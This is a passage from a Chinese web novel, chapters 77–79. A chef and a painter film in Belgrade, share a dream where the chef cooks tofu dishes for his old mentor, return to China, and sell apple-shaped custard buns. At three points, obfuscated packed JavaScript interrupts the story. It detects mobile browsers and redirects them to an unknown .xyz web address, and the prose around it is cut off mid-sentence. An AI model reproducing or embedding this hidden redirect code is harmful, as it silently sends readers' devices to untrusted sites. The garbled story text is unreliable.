蒋醉余和齐新雨各自做了自我介绍，记者并没有从他们的经历谈起，先抛出另一个问题：“塞尔维亚这个目的地是谁提出的呢？” “是他吧，”齐新雨说，“他策划《摆摊日记》的时候没有告诉我，等我知道自己也是常驻嘉宾，他都已经把完整策划案交到我手上了。” 蒋醉余持反对意见：“其实应该算是小雨。” 策划案不是一天做成，蒋醉余偷偷摸摸地打探过很多次。 西、南、北欧各国，齐新雨都没少去旅游采风，前苏联诸国又是另一种猛虎嗅蔷、钢铁柔情的风格。 唯独塞尔维亚的现代建筑，大开大合的粗野主义“野兽派”建筑与这片土地给人的印象完美契合，点缀在传统欧洲小镇或东正教风格民居之间。 两个人窝在家里看电视的时候，齐新雨就说过他还没怎么逛过东欧。 于是除了走遍西班牙、意大利等地，与过去的朋友好好说句再见，蒋醉余把综艺的后半程都安排给了塞尔维亚、匈牙利、波兰、白俄这些国家。 无论时局、旅游还是文化，它们都不算存在感很高的那一批，但它们值得被看见。 齐新雨也是第一次听到幕后故事，他睁大眼睛。 他们路过花店，蒋醉余去买了几束花。鹤望兰形状像振翅的雀鸟，橙得灼热、紫得浓郁。 现在走到目的地，他分了一束给齐新雨：“它有另一个名字，叫天堂鸟。” 天堂鸟栖在纪念碑前，飞到空中就化成橘紫色调晚霞，像是生者怀念被寄送到位的回应。 “二十五年前，我的前辈在这里牺牲，到处都是北约炮火下的断壁残垣。在他们发回国内的报道里，我们看到自己国民和同阵营国家的悲剧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775153|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“而现在，当年热土上是安居乐业的人民，是一同铭记历史的两国友人；我们的青年正把我们的文化带向世界。 “我站在这里，向屏幕那端的各位观众发来这段专访。夜幕渐合，贝尔格莱德的月亮已经升了上来，天涯共此一轮月，今月也曾照古人。” 摄像师姐姐关了录像，他们又换回常服，在松树下补了几段采访，《摆摊日记》的房车把两位记者捎回城里。 “说起来还挺有意思的。”几人坐在车上，记者闲聊起来。 “原本我们觉得这个服装不太合适，使馆的惨剧毕竟是1999年的事情。结果这周一小蒋突然和我说，我们刻骨铭心的岂止是这一段历史，我觉得也对。” 齐新雨对周一这个时间点很敏感，瞬间抬起头来。 蒋醉余在他旁边悄悄伸出拇指和食指，比了个八的姿势——齐新雨周日晚上给他看的那本画册，第八页图的灵感就来自他当时的民国风舞台，想来是很喜欢。 齐新雨磨了磨牙，也伸出这两根手指。 是个手枪。 他对着蒋醉余一扬手：叭，你被击倒了。 他们很少这么晚回来，今天才见到贝尔格莱德不愧是夜生活相当出名的城市，一路上大大小小的酒馆随处可见。 等到周一提前出摊、营业“早退”，他们在附近晃晃悠悠玩了一天半，记者发来消息，告诉他们采访视频已经发了出来。 在他们平时直播和发节目正片的平台上，观众们已经迅速占领了评论区。 【我的电子榨菜就这么水灵灵地上官媒了？】 【谁来懂我一下，记者问他们两个有没有给对方的专业领域什么帮助，姜芋说小猫‘很坦诚，好吃就说好吃、不好吃就皱眉’的时候，某位小画家你在脸红什么！】 【可能吃的是不能说的东西，手动黄心。】 【小猫那段回答也很好品，他说看到酱鱼做融合菜才想起来尝试结合大写意和油画，我的天啊这是什么双向奔赴的灵感源泉……通过你的眼睛，我才更好地认识这个世界。】 【酱鱼讲小猫‘牙尖嘴利’帮他骂走搞歧视的坏客人的时候，真的好认真地在崇拜他老婆，明明被骂了你怎么又幸福了啊。】 蒋醉余怕再看下去自己的代号要变成幸福哥，扣上平板。 齐新雨看看刚收到的值机通知，遗憾道：“可惜匈塞铁路还没开通，不然坐国产高铁去下一个国家肯定很有意思。” “以后还能再来。”蒋醉余说。 留个念想也好，齐新雨摸摸手机，偷偷打开 蒋醉余忽然整个人压下来，趴在他肩上。齐新雨推他一下：“我自己偷偷看评论也不行呀。” 他们现在姿势有点变扭，但蒋醉余抱得很紧，身体都有些颤抖。 蒋醉余没说话。 绿底黑字的消息框好像也不是那么容易看清字迹，又或者是他脑子里太乱，神经中枢连这点信息都处理不了。 他甚至能想象到，那两位近乎中年丧女的老人坐在医院冰凉的椅子上，用手写输入法一笔一画地写给自己： “小余：黄医生已醒转，望知悉。” 大脑的所有算力都被用来处理这个迟到了整整十年的消息，五感一片空茫中，他听到齐新雨扬起嗓子： “导演，我们能提前回国吗？” 77. 手工豆腐三吃 蒋醉余很清楚地知道他在做梦。 他很久没见过这样现代化的大厨房，是他师父专门设计的。一整栋别墅除了保留客厅，其余房间都改成了餐饮人的梦中情房。 但这不是重点。 “阿余啊，这个状态就对了，”师父说，“你在给自己的餐厅选址，精气神提起来啊。 “你一个厨师都对自己的菜品和未来没有信心，怎么征服你的房东嘛。” 选址？房东？ 蒋醉余不记得梦里有这一段。 如果他没记错的话，原本梦醒的时候，他的餐厅已经要开业了。选址这种前期准备，是师父帮他操办的。 也许是最近每周都更换摆摊地点，才会突然又梦到这么一段吧。 能又一次在梦里见到师父，倒也挺好的。 蒋醉余穿上中餐围裙，摸摸空荡荡没有画图案的领口，沉默一瞬：“谢谢师父，我准备好了。” 他跟着师父走到客厅，一个坐在单人沙发上喝茶的年轻男孩蹭地站起来：“韦大师，打扰了！我父母说让我来看看把房子租给谁！” 就这个一惊一乍的动作，还有点像齐新雨。 蒋醉余想着，抬起头望去：一双圆溜溜的薄荷绿眼睛里装满讶异，呆呆地望着他。 好久不见的房东先生。 真的是齐新雨。 齐新雨为什么会在这里？ 如果说他曾经陷入过这个真实且绵长、甚至堪称穿越的梦境，现在只不过是故地重游……那齐新雨又是怎么来的？ 两个人一起“穿越”，该不会是飞机失事吧。 他那位看上去凶巴巴的师父正努力挤出一个和善的笑容，招呼齐新雨坐下说话。 蒋醉余很不礼貌地越过他。 他绕过茶几、穿过沙发，在双手扶到年轻男生的肩上前倏尔顿住。齐新雨的讶异的确是因为认识他吗？ 他想试探齐新雨对飞机的想法，又怕万一他真的对此留有阴影。只能收回手，很莫名其妙地问：“你难受吗？” 齐新雨摇摇头。 他出伸手拉住蒋醉余，看看茫然站在原地的韦大师，又看看规规矩矩穿着长袖厨师服的蒋醉余，小声叹了口气：“好久没做过这么清水的梦了诶。” 蒋醉余还没说话，师父就重重咳了一声。 “哦哦，”齐新雨说，“韦先生，是这样的，我父母让我看看想租我们家房子的厨师是什么水平，但是我对厨艺也没什么了解，要不请您来出一道题吧。” 他何止是没了解。 蒋醉余想了想那些还热乎着就被齐新雨塞进硅胶冰格获得“永生”的剩菜，令人不喜的塑料味被温度激发，沾染到菜上。 齐新雨在认识他之前到底是怎么活下来的。 但他师父显然对此一无所知，说着“对厨师来说每个食客的反馈都是重要的”，两个人推脱几轮，终于答应下来。 他常年皱眉，看上去可止小儿夜啼，目光如隼盯着蒋醉余两人牵着的手，又像个教导主任。 蒋醉余往齐新雨身边靠了一点，把手挡到身后。 齐新雨的手本应是温热的，现在却有点凉。蒋醉余轻轻捏了捏他以示宽慰。 师父又咳了一声，强迫自己无视掉面前肩碰肩的身影。两个孩子非要摆出一副为了你我要对抗全世界的样子，他又不是什么“棒打鸳鸳”的坏人。 “阿余啊，”他说，“你记不记得我问过你一个问题。 “当时我问你，世界上最后一件能被你虔诚相待的事情是什么；你说是厨艺。” 齐新雨突然用力回握住他。 韦先生没有看他们，听不出语气地继续说：“但是现在我觉得你可能有了新的答案。” 蒋醉余张开口，又被他制止。 “既然是学厨的，就用厨师的方法告诉我们吧——看看能不能让你自认为不懂美食的食客吃出来。” 齐新雨抬起另一只手，指向自己：“我？” 韦先生点点头：“没事的，小齐，你有什么感受就说什么。” 蒋醉余自从听到题目就没再说话，此刻转过身理了理齐新雨的衣领。衣领很整洁，他只是想借机看看齐新雨。 齐新雨只比他矮一点，轻而易举便能对视。那双眼睛是平静的薄荷绿色，其中情绪却总是满满当当，像跳跳糖要跃动着蹦出舌尖。 “你放心，我最会写作品分析了。”齐新雨没抬头，盯着他的胸口小声说。 蒋醉余笑起来，扯开话题抛出个八卦素材：“我去做菜。你不要看我师父长得凶，其实他和我师娘是在三月三对山歌的时候认识的。” 很会唱山歌的师父热爱着他的群山。厨房安了很大的窗户，窗外正对着绿化精细的别墅花园。 蒋醉余把窗户推开一条缝，任由春风钻进来。 虽然手机也不在身边，他不知道今天的具体日期，但显而易见，梦里还是个春天。 冰箱里正放着新鲜采下来的荠菜和槐花。 韦先生是典型的中餐胃，每天都会泡豆子打新鲜豆浆。 蒋醉余薅了他给明天早餐泡的黄豆，把豆子磨碎煮开。豆浆要沸腾两次，他盯着锅撇开浮沫，屋里已经满是豆香。 现在的味道还不是豆制品的“终极形态”，对有些人来说，它们依然称得上是豆腥味。 用纱布过滤出豆渣，卤水一次次点进豆浆里，随着勺子的搅动，把丝滑乳白色的豆浆变成一团团爆米花似的存在。 它们漂浮在略有一点浑浊的水中，蒋醉余过滤掉水，把豆腐“爆米花”装进方盒子里，贴上一层纱布按平整，又用重物压住，这才轻轻出了一口气。 一串动作下来，他做得不假思索，时针却已经兀自走了好几格。 在蒋醉余刚刚拜师的时候，他没有目标，谈不上心思浮躁，但梦游一样的状态也绝不能算精细。 他当时被安排的工作，就是每天给韦先生的私房菜准备手工豆腐。 餐厅里卖酿豆腐，蒋醉余做出来的豆腐但凡有一点不够格，都要影响酿豆腐的口感、韧性和它能容纳的肉馅量。 直到现在，他都能清晰地说出压豆腐时长每多十五分钟大约会有怎样的质感变化。 比如今天他需要的豆腐，就可以稍微嫩一点。 客厅里的谈话声渐渐小了，让韦先生和陌生小辈聊上一两个小时实在是难为他。 齐新雨应该会很努力地找话题，但他更擅长察言观色，看韦先生不爱说话，估计很快也就“沉默是金”了，变成一老一少对着喝茶。 蒋醉余想着，取过一边的豆渣来。 总不能真的让食客跟着他等豆腐成型。 略微发黄的豆渣，一抹就像泥灰似的在手中黏黏糊糊地散开。这东西现在已经没什么人吃了，但蒋醉余其实还挺喜欢。 粗粝的口感，像他的少年时代。 小朵槐花泡盐水洗净，把豆渣稍微碾碎，打上几个橘红色蛋黄的土鸡蛋，再把槐花加回来，撒一点盐和白胡椒粉调味，搅拌均匀，就得到了鹅黄色的豆渣“糊糊”。 它的浓稠度正好，放进热锅里还来得及整型。 蒋醉余用筷子和铲子配合，给每块小孩拳头大小的椭圆形槐花豆渣饼上修出两个尖角，就成了小猫头的形状。 猫头豆腐渣饼放进古朴的黑色碟子，他在厨房里翻到两个深色木质长托盘。 先前做豆腐时，他留了一点特意没有搅碎的柔软豆花。 豆花不太大，放进仿黑金建盏的小碗里，再浇上红糖浆。这一碗甜豆花像马卡龙之类的小甜品，不占胃口却令人心满意足。 最后再溜进师父的储藏间，泡两杯茶。 给韦先生的是清苦的绿茶；齐新雨不耐苦，他找了茉莉花茶中相对茶味重而花香清淡的一款。 “这是你的答案？”韦先生看到他走出来，不动声色问道。他眉心川字纹很深，但蒋醉余能看出来他不太满意，并且正在大脑飞速运转试图透露评分标准。 他师父就是这样的人。 蒋醉余摇摇头，又点点头，把托盘分别放在两人面前笑起来：“这是一道大题里的第一问。” 甜豆花调味上没什么特殊的，只不过豆花新鲜做成，勺背压下去富有单行，却又轻轻一切就断开。 这道甜品更多的意义是给槐花鸡蛋豆渣饼作配。 豆渣在碾碎又和鸡蛋拌匀后变得更加细腻，包裹住清甜的槐花，一起在素油煎制下长出有些坚韧的金黄色外皮。 因为蒋醉余选用了整朵花苞，尚未绽放的洁白槐花将自己一层层紧紧包裹，哪怕经受了烹饪，内心依然葆有原本的香气和口感。 一口咬下去感受到炸开的花香，“肉质”相对紧实的花萼部分则在细细咀嚼之下，杂糅着质朴的豆香和醇厚的蛋味，组成回味悠长的口感。 一口扎实却轻盈的豆渣饼，一口嫩滑细腻的甜豆花，再来一杯清茶解腻。 齐新雨眼睛亮晶晶地，很熟练地在蒋醉余的凝视下，啊呜一口先咬掉豆渣饼的猫耳朵。 他认认真真嚼了半天，眼睛渐渐眯起来，放下餐具向兜里摸去。 “醉余！”他有点着急，“我怎么找不到我的随身速写本了？” 确认过眼神，是家养的猫。 蒋醉余从自己的厨师服兜里摸出私房菜馆记点单的便签和铅笔，顺着小猫脊柱摸了两下让他别急：“先凑合用这个吧。” 齐新雨接过纸笔，鼓起脸颊： “谢谢蒋先生，可是我想画色彩诶。我想画水边野餐聚会的场景，草地上是星星点点的白色的花，顺着河流的方向往远处看去，应该会有很古老的城堡或者桥之类的建筑。 “色彩就像你之前送我的那束用玻璃纸包着的花，透过玻璃纸往外看，光线有点朦胧，还有折射出来的彩虹，但我知道它们都是真实的。” 他越说越兴奋。 而且他又喊了蒋先生。 蒋醉余蹲下来，扳过他的肩膀：“小雨，看着我，深呼吸。我在这里，我还可以给你做很多次菜，我们什么时候都可以画。” 齐新雨呆呆看着他，暂时还没处理过来这一长串中文的意思，只不用自主地点点头。 “小齐先生不是在国内长大的？”韦先生饶有兴趣地问。 齐新雨连连摆手：“我小时候一直在英国，上大学之后才开始了解中国的——您跟着醉余喊我小雨吧，我们家人都是这么叫的。” “怪不得。”韦先生说这，站起来给他补上茶，齐新雨也忙不迭跟着站起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775154|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿余，你也坐。” 蒋醉余左右看看，拖过来一只藤编的小凳在齐新雨的沙发旁边坐下。 “真是挺巧的，你刚刚描述的景象让我想起来一段很有名的古话：‘浴乎沂，风乎舞雩，咏而归。’” 他一句句给混血食客解释，齐新雨目不转睛地听着，口中重复着“踏青”两个字。 “好漂亮。”齐新雨说。 他被茉莉花茶和槐花饼的香味团团包围，更怀念他的画材了。 蒋醉余看看时间到了，又回到厨房里。 豆腐已经压制成型，又被他“无情”地碾成小块。相比起刀切，还是这样自然形成的断面更适合吸收其它食材的风味。 把豆腐碎放进锅里炒到水分刚好蒸发，但不要过干，和荠菜碎以及调味完毕的猪肉馅搅拌在一起。 馅料分成两份，其中一份里加上极少量油渣，以避免喧宾夺主。 加油渣的馅料包成饺子，下入沸水煮熟；另一半馅料则用糯米皮包裹，做成炸汤圆在宽油中炸至金黄。 蒋醉余又找到一个长方形黑陶盘，把饺子和汤圆交错摆放，形成四乘二的棋盘格排列。 旁边摆上一小碗加了点醋的辣油，这道菜就又被送到了两位食客的面前。 “这是第二问？”韦先生又问。 蒋醉余说：“也是我的最后一问。” 荠菜豆腐水饺与炸荠菜豆腐汤圆。 野菜们总是被诟病太过于“柴”，蒋醉余用豆腐柔滑它的口感、用肉馅提升初见的香气，又用油脂填补上绵长的回味。 但是如此种种手法，都无法阻拦来自荠菜的独特清香，牢牢占据住这道菜的整体风味。 它带着青草的气味和春日的讯息，毫不羞涩地闯入每个人的感官，绿得坦荡，香得浓烈。 荠菜是属于春天的菜。 酸会破坏它的鲜味，纯粹的醋在此时并不讨好。但如果你想要更热烈的感觉，那一小碟辣椒油就是答案。 蒋醉余把其中一个饺子夹到齐新雨的盘子里。 齐新雨眨眨眼，咬开它。 被馅料汁水软化的油渣，内心仍然能炸出油脂，他吃得小心翼翼，一对门牙向下咬合，撞在硬物上。 齐新雨和饺子斗争半天未遂，只好叼着饺子茫然地转向蒋醉余。 蒋醉余伸出手，上下撑开他的口腔。齐新雨瞪大了眼睛，却感觉到他从自己口中取出来什么。 他用纸擦了擦，才拿给齐新雨看：是一枚洗得亮闪闪的硬币。 “你要交好运了。”他把硬币交给懵懂的齐新雨。 “好小子。”韦先生隔空点一下蒋醉余。 “之前去您的餐厅帮忙，这个硬币和之前的铅笔，都是当时不知道为什么放在兜里的。” 蒋醉余笑着解释，双手合十拜了拜，起身回到厨房，拎出一只老式水壶。 乳白色汤水倒进两只和其它器皿格格不入的蓝白青花瓷碗里，蒋醉余把它们轻轻推到两人面前：“饺子汤。” 在饺子汤里，面粉的小麦香气成了主角。 半碗汤水下肚，先前独占鳌头的荠菜和其余争奇斗艳的佐料，抑或甘愿陪衬的豆制品，全都成了过眼云烟。 面汤洗净繁华，只留下唇舌对美味的怀念。 齐新雨很久没说话，埋头在便签上写写画画。 另外两个人沉默不语地等着他，直到他停下笔，蒋醉余把茶水递到他唇边，韦先生才问道：“小雨，你现在有什么想画的吗？” 齐新雨乖乖点头。 他在纸上写了很多，中文英文和图案交错，蒋醉余没看懂，只能听他解释。 “现在的画面感觉和刚才的踏青也有联系，但是没那么……闲适？”齐新雨琢磨不出来用词。 “还是刚才那个河边的城堡，是不住在城堡里的普通领民，他们说笑着走在河堤上，讨论自己一天的收获，远远看到家里的炉灶已经烧起来。 “如果说刚才的画面是很浅很亮的黄绿色调，现在应该是更蓝更灰一点的深绿色，就像忍冬和常绿灌木在过了一个冬天之后还留在枝头的旧叶子。”他比比划划地说。 韦先生笑起来。 他不常笑，露出笑容的模样也是在不太好看，转而问蒋醉余：“阿余，如果要你给这两幅画起个名字，你想起什么？” 这就是在问他要答案了。 齐新雨的手轻轻搭到了他腿上，蒋醉余又一次握住他。 喝了热乎乎的茶水和饺子汤，齐新雨的手已经变得热乎多了。 可能是刚才握铅笔太用力，蒋醉余隐约摸到他掌心有个指甲掐出来的月牙印。 他轻轻抽了一口气，抬起头和师父对视：“生命吧。” 世界上最后一件能被他虔诚相待的存在、他想通过自己制作的食物表达给齐新雨和其他食客的思考。 无数生命组成这个波澜壮阔的世界，生命的每个选择都是为波涛汹涌推波的一滴水。 那时候他毫不留恋生命，那时候他亲眼见过旁人对生命的漠视，于是他找不到答案。 师父的手落在他肩膀上，轻轻拍了拍他。 蒋醉余看到师父微微笑起来，耳边却响起陌生的女声：“先生，我们的飞机已经落地了。” 78. 吃胭脂也算吃 蒋醉余一瞬间想起了曾经在西风太太帐号上见过的那张表情包。镜头自下而上照见一群小猫关切地向下看，表情包底端配着一句话：你醒啦？图片已经被夹走了。 把最后一句话改成“乘客已经走光了”就完全能匹配此情此景。 机舱里不剩几个人，节目组的成员和空乘们都凑到他和齐新雨座位旁边，很关切地望过来。 蒋醉余能看到他旁边的人似乎已经准备呼叫机场医疗组，齐新雨坐在另一边，迷迷糊糊地揉眼睛。 “醒了就好，醒了就好。”编导长出一口气。 已经回到祖国大地上，万一闹出什么意外，制片人坐高铁就能当天赶来骂她。 导演心有余悸：“你们两个上飞机前干什么去了，飞机上两顿饭一顿简餐，你们愣是从头睡到尾，哪次都没被叫醒！刚才都怀疑你们是不是昏迷了！” 蒋醉余双手合十摇了摇，连声道歉，一群人往廊桥上走。 齐新雨这才慢慢回过神来。他咂咂嘴，捉住蒋醉余袖子：“醉余，我刚刚梦见你和你师父了，还梦见你做了好几道菜！我要是给你描述食材和味道你能不能做出来呀。” 蒋醉余脚步一顿。 他左手还拖着齐新雨的登机箱，与人十指相扣的右手握得更紧了一点，没有正面回答： “我师父是不是自我介绍名叫‘韦伯伦，刘伶字伯伦的那个伯伦’，长得很高、看起来有点凶——然后我给你做了豆渣饼。” 齐新雨也顿住了。 他站在入境分流的队伍前，显得有点茫然。 机场工作人员不明所以地嘱咐他，有芯片护照的可以走自助机，非中国公民要去另一边排队人工过关。蒋醉余抬起手，揽着他往前走。 齐新雨捏着黑色的护照，语无伦次地问：“这是以前拜师时候的场景吗？你给我描述过？我怎么有点想不起来。” 蒋醉余摸摸他的肩膀，骨头还是很突出：“别紧张，是梦…… “是我们一起做的梦。” 但现在是凌晨，抵达的航班不多。齐新雨没听懂，但已经排到了队伍的第一个。 他过了关，才轮到蒋醉余。工作人员翻翻护照，在一年前他出境的印章旁边又盖下一个入境章，新鲜烙印着今天的日期。 头顶的电子屏上写着一行中文大字“欢迎回家”，蒋醉余手指拂过鲜艳的蓝色印记，快步向前走去。 走过海关的狭道，齐新雨在那里等他。 “这个故事很长，”他说，“我希望它只是一场梦。” 梦是飘渺的、空茫的，只有在一场梦里，那些宣判齐新雨为罪大恶极者的文字才会从未存在，随着梦境的结束与神经元的衰老而破碎成烟云。 于是他宁可相信那只是披着奇怪外衣的预知梦。 而他只是在伦敦的某个难得晴朗的中午，趴在收银台上做了一场足以改变自己一生的梦。 长长的故事要讲好久，讲到他们取完了行李，走出最后的安检。自动门开开合合，栏杆外面全是接机的人群。 齐新雨抿住嘴听完了故事，没说话。 他机械地迈着步子走过人群，蒋醉余轻轻叹了口气：“小雨，我把我最后的秘密也告诉你了。” 齐新雨往他身边靠了一点，上唇无意识放松后牙齿便咬住下唇，咬得发白。 他想问是要多绝望的人才会把退路寄托在一场似真还假的梦上，想问你会不会某一瞬看着我只想起梦里的遗憾和愧疚，又想问那你是不是早就知道了我的小号。 但最终他只是扯着蒋醉余停下来，勾住脖子把自己埋到对方肩膀上，声音闷闷的：“我爱你。” 蒋醉余捧住他的脸，第一次没有讨要许可就凑过来。他熟练地叩开牙关，齐新雨闭着眼睛，紧紧攥着他衣领。 还有好多人呢…… 尝试说话的意图只让他主动张开口，任由唇舌被抚慰。他知道自己睫毛颤抖得几乎有虚影，因为机场明亮的天光正从转瞬即逝的缝隙落在他眼里。 这好像是他第一次在有人陪伴的情况下回到这片土地，他想，被轻轻咬了一下嘴唇捉回注意力。 视觉被剥夺的时候，其余感官就会灵敏起来。 杂乱的脚步声靠近又远去，遮不过令人面红耳赤的水声；触手可及是温热的皮肤；嗅觉记得熟悉的气息，蒋醉余身上总带着一点收拾厨房用品后留下的清新果香。 它们占据了五感，时间和空间都要从这里绕路，齐新雨不知道过去了多久自己才被轻轻放过。 “不亲了吗？”他接过纸巾，“这次我没忘掉呼吸呀。” 他说得很认真，他一向对此很坦荡，蒋醉余于是也认真地看了他一眼。 机场灯光亮得晃眼，打在他眼里照亮方才唇舌交织中激起来的点点湿意，像小人鱼的珍珠。 蒋醉余侧身牵住他，向四处张望的外卖员挥挥手。 机场是新开的，不仅设施新，服务也丰富得多。机场里绝大多数店家都入驻了官方外卖，可以配送到航站楼各处，其中还有一家花店。 外卖员举着一束赤红的玫瑰，穿过兴致勃勃的围观群众。 “我上飞机前就订了花，”蒋醉余说，“可惜没办法亲手给你写点什么。” 他把花交到齐新雨手里，像知道年轻的画家曾想过什么：“小雨，我爱你，只因为你是你。” 齐新雨一手搂着花束，抿抿艳红的唇，又扑进他怀里。 “牛啊兄弟！”旁边带着椰树风易拉宝来接机的男生鼓起掌来，脱口而出好大一声质朴感慨。 人群一下笑开。 灯光落在玫瑰上，又折射到他脸上，映得齐新雨整个人都是粉红的。他抱着玫瑰花，嘴角压不住笑意，在路过男生的时候小声说：“也祝你和你爱人幸福。” 他们出了机场往车站走，齐新雨趴在高铁窗户上，看得很新奇。几小时后抵达目的地，又是另一种风貌。 河流割开城市，浩浩汤汤向远方的大海而去。 风和云会裹着水滴踏过地球的每个角落，蒋醉余手中一捧长江水，也许在从前或从后某日化成伦敦不期而至的雨。 “先去医院吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也不知道新来这个摊是卖什么的，不过看上去卫生不错，老板也带着口罩。刚学完微生物和寄生虫的医学生们认真观察。 它会不会卖前阵子网上风很大的鹅腿饭和肘子饭，或者最常见的手抓饼、烤冷面？ 不过摊位看起来没什么油烟，还有不少蒸笼，难道是糯米包油条？都这个点了，已经没人过早了吧。 他们正思索着，就看到老板掀起了竹制蒸笼的盖子。 伴随着四溢的蒸汽，一股甜香来势汹汹地席卷了每个人的鼻腔。它明明不比其它酸辣咸鲜的食物浓郁，却不容忽视。 甜蜜中透着奶味，还有上好小麦粉带来的谷物香气。 大学生们循着味道找过来，却只看到透着热气的蒸笼里，摆着一个个面貌端正、色泽鲜艳、上面还有黄色文字的……苹果？ 我不是来找甜点的吗，这是哪来的苹果啊！ 79. 仿苹果奶黄包 蒸笼是很普通的蒸笼，蒸汽也是很普通的蒸汽。 有学生伸出手，小心翼翼地拦住那些乳白色的雾气：它们是货真价实的热气，绝对不是干冰或者液氮什么伪装而成。 “白芷，你胆子也太大了，”和她一起的朋友埋怨，“万一真的是液氮，我们就可以现场复习烧伤抢救了。” 白芷撇撇嘴：“苏师傅别念了！我假期不回家就为了和你留在学校复习，出来吃个饭你怎么还惦记着复习。你就不好奇老板到底卖的是什么吗！” 眼前的苹果一个个长得圆润鲜红，果柄、叶片无不饱满，再怎么努力吸鼻子也只能闻出有点熟悉的甜香。 这还是送礼人士最喜欢的品种：在苹果生长的时候用纸剪出字迹贴在上面，被贴住的部分因为缺乏光照，会渐渐长成与周围不同的浅黄色，就成了一只天然带字的“祝福苹果”。 可是朴素的生活经验告诉她，如果真的是蒸苹果这种听起来就不太好吃的东西，果酸味应该会相当明显，而且苹果会皱起来啊。 白芷站在摊前无比纠结，苏蓝笑起来：“直接问不好吗？” “相信你们的嗅觉呀。”齐新雨笑眯眯地提示。 白芷继续挠头：“苹果造型的蛋糕？面包？那吃起来会不会太甜了……坏了蓝蓝，我是不是得了刚刚看的那个会嗅觉失灵的……叫什么综合征来着？” 齐新雨不再卖关子，口中说着“已经很接近了”，正要从蒸笼里取出一只苹果，却被横穿来的一只手拦住。 “你那么怕烫就别碰了。”蒋醉余说，代替他拿起苹果。 这一捏，围观群众们立刻看出不一样来。 摊主带着的黑手套衬得苹果愈发明艳，但手指一用力，柔软的“苹果”就发生了形变。 “暴殄天物！轻一点啊！”有人心疼地喊道。 摊主不为所动，他毫不留情地捏住那样仿真的苹果，双臂向外用力。 果皮终于皱起来，继而从中间裂开，露出细腻的奶黄馅来。 白芷揪住苏蓝的衣领，无声尖叫。 她们两个离得近，对各种细节看得也更加清晰一点。 奶黄包不仅外皮参考了真正的苹果，连斑驳的条条点点都模仿得惟妙惟肖，内心也不放过。 馒头包子这样的面点自带一层纤薄光滑的外皮，也就是红色的果皮部分，但掰开才会发现，奶黄包的面团其实染成了浅黄色。 他甚至不忘做出加了可可粉的棕黑色“苹果核”，包裹到奶黄馅料里。 蒋醉余反复比对了好多次，才保证奶黄馅料、面团和真正的苹果果肉是同样颜色，成就“苹果溢了出来”一样的效果。 而这苹果外皮和叶片上的脉络，一笔一画都是手工绘制而成。 “奶黄包，用的都是食用色素，”蒋醉余轻描淡写地介绍，“上面这笼贵一倍，但是味道和图案都是一样的。” 白芷像个捧哏一样积极提问：“那为什么贵呢？” 摊主这次变了手法。 他轻柔地拿起一只贵价奶黄包，不知道从哪变出一只小盘子盛起苹果拿给众人看。 “这是我的美术总监画的，”他说，“我不舍得卖。” 一起站在餐车后的齐新雨蓦地看过来，大学生们发出怪叫。 秉承着来都来了和问了这么久不买不好吧的原则，白芷和苏蓝一人要了一只普通奶黄包。 捧在手上细细观察，才能意识到作者的手艺有多么精妙。明明馒头在蒸熟的过程中肯定会再次发酵，他却能保证苹果的茎干依然匀称、叶片依然纤薄。 白芷的奶黄包上写了“活人不医”，苏蓝挑了一只带图案的，镂空出大大小小好几个黄色爱心。 馒头表皮自带的光泽就像是给水果打了一层蜡，放在摄像头下更是完全看不出来与面点有半分关系。 “妈妈，我是不是复习猝死上天堂了。”旁边有心急的同学，一手举着便利店买来的烤鸡腿、一手举着奶黄包，已经吃了起来。 他咬了一口奶黄包，当即忘了自己还有个散发着浓郁香味的鸡腿，对准馅心又是一大口。 经过蒋醉余品尝后调味的奶黄包，比他在英国酬谢观众时又有了不同。 松软而富有弹性的面团，在按压后又能自己缓缓膨胀回原本的体积。 面团组织均匀，小小的圆形空隙是酿酒酵母为自己留出的一方天地。 相比于外观类似的流沙包，奶黄包总被人诟病太过甜腻。 这次制作面团的时候，蒋醉余用了酒酿进行发酵。 在反复的等待和蒸锅的“摧残”下，酒味已经蒸发得无影无踪，唯独在面团里留下独一无二的清甜。 然而难度更高的是奶黄馅料的改良。 这是一种相当极致的点心，它把奶味、甜味和细腻都做到了极处。 无论是朝着仿真苹果的方向进一步加重酸味，还是“向死对头让步”把自己变成奶黄流沙包。 无论怎么修改，似乎都有一种不再像是奶黄包的感觉。 蒋醉余选择另辟蹊径。 如果你有吃下第一口奶黄包而不继续饕餮的定力，对着馅料仔细观察……依然很难观察到那些若隐若现的浅黄色颗粒。 它们悄悄随着奶黄馅穿过味蕾、潜入食道，却成就了小摊复购率百分百的奇迹。 “我一个最怕甜的人，从来没想过自己有一天会说一个奶黄包不够吃。”白芷捧着排队买来的第二只奶黄包，郑重地感叹。 食客们交头接耳，像在线上考试一样互相串通着自己的答案，却依然没能判断出老板的秘密武器是什么。 没有一个人能想到，这些细丝是三番五次“炮制”过的柚子皮。 “都是小雨给我的灵感。”蒋醉余捂住嘴，小声透露答案。 